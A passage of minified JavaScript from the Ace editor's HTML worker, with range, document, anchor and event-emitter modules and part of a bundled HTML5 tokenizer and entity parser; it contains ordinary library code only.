e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/html/saxparser\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);throw new Error(\"Cannot find module '\"+u+\"'\")}var l=n[u]={exports:{}};t[u][0].call(l.exports,function(e){var n=t[u][1][e];return s(n?n:e)},l,l.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){function r(e){if(e.namespaceURI===\"http://www.w3.org/1999/xhtml\")return e.localName===\"applet\"||e.localName===\"caption\"||e.localName===\"marquee\"||e.localName===\"object\"||e.localName===\"table\"||e.localName===\"td\"||e.localName===\"th\";if(e.namespaceURI===\"http://www.w3.org/1998/Math/MathML\")return e.localName===\"mi\"||e.localName===\"mo\"||e.localName===\"mn\"||e.localName===\"ms\"||e.localName===\"mtext\"||e.localName===\"annotation-xml\";if(e.namespaceURI===\"http://www.w3.org/2000/svg\")return e.localName===\"foreignObject\"||e.localName===\"desc\"||e.localName===\"title\"}function i(e){return r(e)||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"ol\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"ul\"}function s(e){return e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"table\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"html\"}function o(e){return e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"tbody\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"tfoot\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"thead\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"html\"}function u(e){return e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"tr\"||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"html\"}function a(e){return r(e)||e.namespaceURI===\"http://www.w3.org/1999/xhtml\"&&e.localName===\"button\"}function f(e){return(e.namespaceURI!==\"http://www.w3.org/1999/xhtml\"||e.localName!==\"optgroup\")&&(e.namespaceURI!==\"http://www.w3.org/1999/xhtml\"||e.localName!==\"option\")}function l(){this.elements=[],this.rootNode=null,this.headElement=null,this.bodyElement=null}l.prototype._inScope=function(e,t){for(var n=this.elements.length-1;n>=0;n--){var r=this.elements[n];if(r.localName===e)return!0;if(t(r))return!1}},l.prototype.push=function(e){this.elements.push(e)},l.prototype.pushHtmlElement=function(e){this.rootNode=e.node,this.push(e)},l.prototype.pushHeadElement=function(e){this.headElement=e.node,this.push(e)},l.prototype.pushBodyElement=function(e){this.bodyElement=e.node,this.push(e)},l.prototype.pop=function(){return this.elements.pop()},l.prototype.remove=function(e){this.elements.splice(this.elements.indexOf(e),1)},l.prototype.popUntilPopped=function(e){var t;do t=this.pop();while(t.localName!=e)},l.prototype.popUntilTableScopeMarker=function(){while(!s(this.top))this.pop()},l.prototype.popUntilTableBodyScopeMarker=function(){while(!o(this.top))this.pop()},l.prototype.popUntilTableRowScopeMarker=function(){while(!u(this.top))this.pop()},l.prototype.item=function(e){return this.elements[e]},l.prototype.contains=function(e){return this.elements.indexOf(e)!==-1},l.prototype.inScope=function(e){return this._inScope(e,r)},l.prototype.inListItemScope=function(e){return this._inScope(e,i)},l.prototype.inTableScope=function(e){return this._inScope(e,s)},l.prototype.inButtonScope=function(e){return this._inScope(e,a)},l.prototype.inSelectScope=function(e){return this._inScope(e,f)},l.prototype.hasNumberedHeaderElementInScope=function(){for(var e=this.elements.length-1;e>=0;e--){var t=this.elements[e];if(t.isNumberedHeader())return!0;if(r(t))return!1}},l.prototype.furthestBlockForFormattingElement=function(e){var t=null;for(var n=this.elements.length-1;n>=0;n--){var r=this.elements[n];if(r.node===e)break;r.isSpecial()&&(t=r)}return t},l.prototype.findIndex=function(e){for(var t=this.elements.length-1;t>=0;t--)if(this.elements[t].localName==e)return t;return-1},l.prototype.remove_openElements_until=function(e){var t=!1,n;while(!t)n=this.elements.pop(),t=e(n);return n},Object.defineProperty(l.prototype,\"top\",{get:function(){return this.elements[this.elements.length-1]}}),Object.defineProperty(l.prototype,\"length\",{get:function(){return this.elements.length}}),n.ElementStack=l},{}],2:[function(e,t,n){function o(e){return e>=\"0\"&&e<=\"9\"||e>=\"a\"&&e<=\"z\"||e>=\"A\"&&e<=\"Z\"}function u(e){return e>=\"0\"&&e<=\"9\"||e>=\"a\"&&e<=\"f\"||e>=\"A\"&&e<=\"F\"}function a(e){return e>=\"0\"&&e<=\"9\"}var r=e(\"html5-entities\"),i=e(\"./InputStream\").InputStream,s={};Object.keys(r).forEach(function(e){for(var t=0;t<e.length;t++)s[e.substring(0,t+1)]=!0});var f={};f.consumeEntity=function(e,t,n){var f=\"\",l=\"\",c=e.char();if(c===i.EOF)return!1;l+=c;if(c==\"\t\"||c==\"\\n\"||c==\"\u000b\"||c==\" \"||c==\"<\"||c==\"&\")return e.unget(l),!1;if(n===c)return e.unget(l),!1;if(c==\"#\"){c=e.shift(1);if(c===i.EOF)return t._parseError(\"expected-numeric-entity-but-got-eof\"),e.unget(l),!1;l+=c;var h=10,p=a;if(c==\"x\"||c==\"X\"){h=16,p=u,c=e.shift(1);if(c===i.EOF)return t._parseError(\"expected-numeric-entity-but-got-eof\"),e.unget(l),!1;l+=c}if(p(c)){var d=\"\";while(c!==i.EOF&&p(c))d+=c,c=e.char();d=parseInt(d,h);var v=this.replaceEntityNumbers(d);v&&(t._parseError(\"invalid-numeric-entity-replaced\"),d=v);if(d>65535&&d<=1114111){d-=65536;var m=((1047552&d)>>10)+55296,g=(1023&d)+56320;f=String.fromCharCode(m,g)}else f=String.fromCharCode(d);return c!==\";\"&&(t._parseError(\"numeric-entity-without-semicolon\"),e.unget(c)),f}return e.unget(l),t._parseError(\"expected-numeric-entity\"),!1}if(c>=\"a\"&&c<=\"z\"||c>=\"A\"&&c<=\"Z\"){var y=\"\";while(s[l]){r[l]&&(y=l);if(c==\";\")break;c=e.char();if(c===i.EOF)break;l+=c}return y?(f=r[y],c===\";\"||!n||!o(c)&&c!==\"=\"?(l.length>y.length&&e.unget(l.substring(y.length)),c!==\";\"&&t._parseError(\"named-entity-without-semicolon\"),f):(e.unget(l),!1)):(t._parseError(\"expected-named-entity\"),e.unget(l),!1)}},f.replaceEntityNumbers=function(e){switch(e){case 0:return 65533;case 19:return 16;case 128:return 8364;case 129:return 129;case 130:return 8218;case 131:return 402;case 132:return 8222;case 133:return 8230;case 134:return 8224;case 135:return 8225;case 136:return 710;case 137:return 8240;case 138:return 352;case 139:return 8249;case 140:return 338;case 141:return 141;case 142:return 381;case 143:return 143;case 144:return 144;case 145:return 8216;case 146:return 8217;case 147:return 8220;case 148:return 8221;case 149:return 8226;case 150:return 8211;case 151:return 8212;case 152:return 732;case 153:return 8482;case 154:return 353;case 155:return 8250;case 156:return 339;case 157:return 157;case 158:return 382;case 159:return 376;default:if(e>=55296&&e<=57343||e>1114111)return 65533;if(e>=1&&e<=8||e>=14&&e<=31||e>=127&&e<=159||e>=64976&&e<=65007||e==11||e==65534||e==131070||e==3145726||e==196607||e==262142||e==262143||e==327678||e==327679||e==393214||e==393215||e==458750||e==458751||e==524286||e==524287||e==589822||e==589823||e==655358||e==655359||e==720894||e==720895||e==786430||e==786431||e==851966||e==851967||e==917502||e==917503||e==983038||e==983039||e==1048574||e==1048575||e==1114110||e==1114111)return e}},n.EntityParser=f},{\"./InputStream\":3,\"html5-entities\":12}],3:[function(e,t,n){function r(){this.data=\"\",this.start=0,this.committed=0,this.eof=!1,this.lastLocation={line:0,column:0}}r.EOF=-1,r.DRAIN=-2,r.prototype={slice:function(){if(this.start>=this.data.length){if(!this.eof)throw r.DRAIN;return r.EOF}return this.data.slice(this.start,this.data.length)},\"char\":function(){if(!this.eof&&this.start>=this.data.length-1)throw r.DRAIN;if(this.start>=this.data.length)return r.EOF;var e=this.data[this.start++];return e===\"\\r\"&&(e=\"\\n\"),e},advance:function(e){this.start+=e;if(this.start>=this.data.length){if(!this.eof)throw r.DRAIN;return r.EOF}this.committed>this.data.length/2&&(this.lastLocation=this.location(),this.data=this.data.slice(this.committed),this.start=this.start-this.committed,this.committed=0)},matchWhile:function(e){if(this.eof&&this.start>=this.data.length)return\"\";var t=new RegExp(\"^\"+e+\"+\"),n=t.exec(this.slice());if(n){if(!this.eof&&n[0].length==this.data.length-this.start)throw r.DRAIN;return this.advance(n[0].length),n[0]}return\"\"},matchUntil:function(e){var t,n;n=this.slice();if(n===r.EOF)return\"\";if(t=(new RegExp(e+(this.eof?\"|$\":\"\"))).exec(n)){var i=this.data.slice(this.start,this.start+t.index);return this.advance(t.index),i.replace(/\\r/g,\"\\n\").replace(/\\n{2,}/g,\"\\n\")}throw r.DRAIN},append:function(e){this.data+=e},shift:function(e){if(!this.eof&&this.start+e>=this.data.length)throw r.DRAIN;if(this.eof&&this.start>=this.data.length)return r.EOF;var t=this.data.slice(this.start,this.start+e).toString();return this.advance(Math.min(e,this.data.length-this.start)),t},peek:function(e){if(!this.eof&&this.start+e>=this.data.length)throw r.DRAIN;return this.eof&&this.start>=this.data.length?r.EOF:this.data.slice(this.start,Math.min(this.start+e,this.data.length)).toString()},length:function(){return this.data.length-this.start-1},unget:function(e){if(e===r.EOF)return;this.start-=e.length},undo:function(){this.start=this.committed},commit:function(){this.committed=this.start},location:function(){var e=this.lastLocation.line,t=this.lastLocation.column,n=this.data.slice(0,this.committed),r=n.match(/\\n/g),i=r?e+r.length:e,s=r?n.length-n.lastIndexOf(\"\\n\")-1:t+n.length;return{line:i,column:s}}},n.InputStream=r},{}],4:[function(e,t,n){function i(e,t,n,r){this.localName=t,this.namespaceURI=e,this.attributes=n,this.node=r}function s(e,t){for(var n=0;n<e.attributes.length;n++)if(e.attributes[n].nodeName==t)return e.attributes[n].nodeValue;return null}var r={\"http://www.w3.org/1999/xhtml\":[\"address\",\"applet\",\"area\",\"article\",\"aside\",\"base\",\"basefont\",\"bgsound\",\"blockquote\",\"body\",\"br\",\"button\",\"caption\",\"center\",\"col\",\"colgroup\",\"dd\",\"details\",\"dir\",\"div\",\"dl\",\"dt\",\"embed\",\"fieldset\",\"figcaption\",\"figure\",\"footer\",\"form\",\"frame\",\"frameset\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"head\",\"header\",\"hgroup\",\"hr\",\"html\",\"iframe\",\"img\",\"input\",\"isindex\",\"li\",\"link\",\"listing\",\"main\",\"marquee\",\"menu\",\"menuitem\",\"meta\",\"nav\",\"noembed\",\"noframes\",\"noscript\",\"object\",\"ol\",\"p\",\"param\",\"plaintext\",\"pre\",\"script\",\"section\",\"select\",\"source\",\"style\",\"summary\",\"table\",\"tbody\",\"td\",\"textarea\",\"tfoot\",\"th\",\"thead\",\"title\",\"tr\",\"track\",\"ul\",\"wbr\",\"xmp\"],\"http://www.w3.org/1998/Math/MathML\":[\"mi\",\"mo\",\"mn\",\"ms\",\"mtext\",\"annotation-xml\"],\"http://www.w3.org/2000/svg\":[\"foreignObject\",\"desc\",\"title\"]};i.prototype.isSpecial=function(){return this.namespaceURI in r&&r[this.namespaceURI].indexOf(this.localName)>-1},i.prototype.isFosterParenting=function(){return this.namespaceURI===\"http://www.w3.org/1999/xhtml\"?this.localName===\"table\"||this.localName===\"tbody\"||this.localName===\"tfoot\"||this.localName===\"thead\"||this.localName===\"tr\":!1},i.prototype.isNumberedHeader=function(){return this.namespaceURI===\"http://www.w3.org/1999/xhtml\"?this.localName===\"h1\"||this.localName===\"h2\"||this.localName===\"h3\"||this.localName===\"h4\"||this.localName===\"h5\"||this.localName===\"h6\":!1},i.prototype.isForeign=function(){return this.namespaceURI!=\"http://www.w3.org/1999/xhtml\"},i.prototype.isHtmlIntegrationPoint=function(){if(this.namespaceURI===\"http://www.w3.org/1998/Math/MathML\"){if(this.localName!==\"annotation-xml\")return!1;var e=s(this,\"encoding\");return e?(e=e.toLowerCase(),e===\"text/html\"||e===\"application/xhtml+xml\"):!1}return this.namespaceURI===\"http://www.w3.org/2000/svg\"?this.localName===\"foreignObject\"||this.localName===\"desc\"||this.localName===\"title\":!1},i.prototype.isMathMLTextIntegrationPoint=function(){return this.namespaceURI===\"http://www.w3.org/1998/Math/MathML\"?this.localName===\"mi\"||this.localName===\"mo\"||this.localName===\"mn\"||this.localName===\"ms\"||this.localName===\"mtext\":!1},n.StackItem=i},{}],5:[function(e,t,n){function s(e){return e===\" \"||e===\"\\n\"||e===\"\t\"||e===\"\\r\"||e===\"\\f\"}function o(e){return e>=\"A\"&&e<=\"Z\"||e>=\"a\"&&e<=\"z\"}function u(e){this._tokenHandler=e,this._state=u.DATA,this._inputStream=new r,this._currentToken=null,this._temporaryBuffer=\"\",this._additionalAllowedCharacter=\"\"}var r=e(\"./InputStream\").InputStream,i=e(\"./EntityParser\").EntityParser;u.prototype._parseError=function(e,t){this._tokenHandler.parseError(e,t)},u.prototype._emitToken=function(e){if(e.type===\"StartTag\")for(var t=1;t<e.data.length;t++)e.data[t].nodeName||e.data.splice(t--,1);else e.type===\"EndTag\"&&(e.selfClosing&&this._parseError(\"self-closing-flag-on-end-tag\"),e.data.length!==0&&this._parseError(\"attributes-in-end-tag\"));this._tokenHandler.processToken(e),e.type===\"StartTag\"&&e.selfClosing&&!this._tokenHandler.isSelfClosingFlagAcknowledged()&&this._parseError(\"non-void-element-with-trailing-solidus\",{name:e.name})},u.prototype._emitCurrentToken=function(){this._state=u.DATA,this._emitToken(this._currentToken)},u.prototype._currentAttribute=function(){return this._currentToken.data[this._currentToken.data.length-1]},u.prototype.setState=function(e){this._state=e},u.prototype.tokenize=function(e){function n(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"&\")t.setState(a);else if(n===\"<\")t.setState(j);else if(n===\"\\0\")t._emitToken({type:\"Characters\",data:n}),e.commit();else{var i=e.matchUntil(\"&|<|\\0\");t._emitToken({type:\"Characters\",data:n+i}),e.commit()}return!0}function a(e){var r=i.consumeEntity(e,t);return t.setState(n),t._emitToken({type:\"Characters\",data:r||\"&\"}),!0}function f(e){var n=e.char();if(n===r.EOF)return t._emitToken({type:\"EOF\",data:null}),!1;if(n===\"&\")t.setState(l);else if(n===\"<\")t.setState(d);else 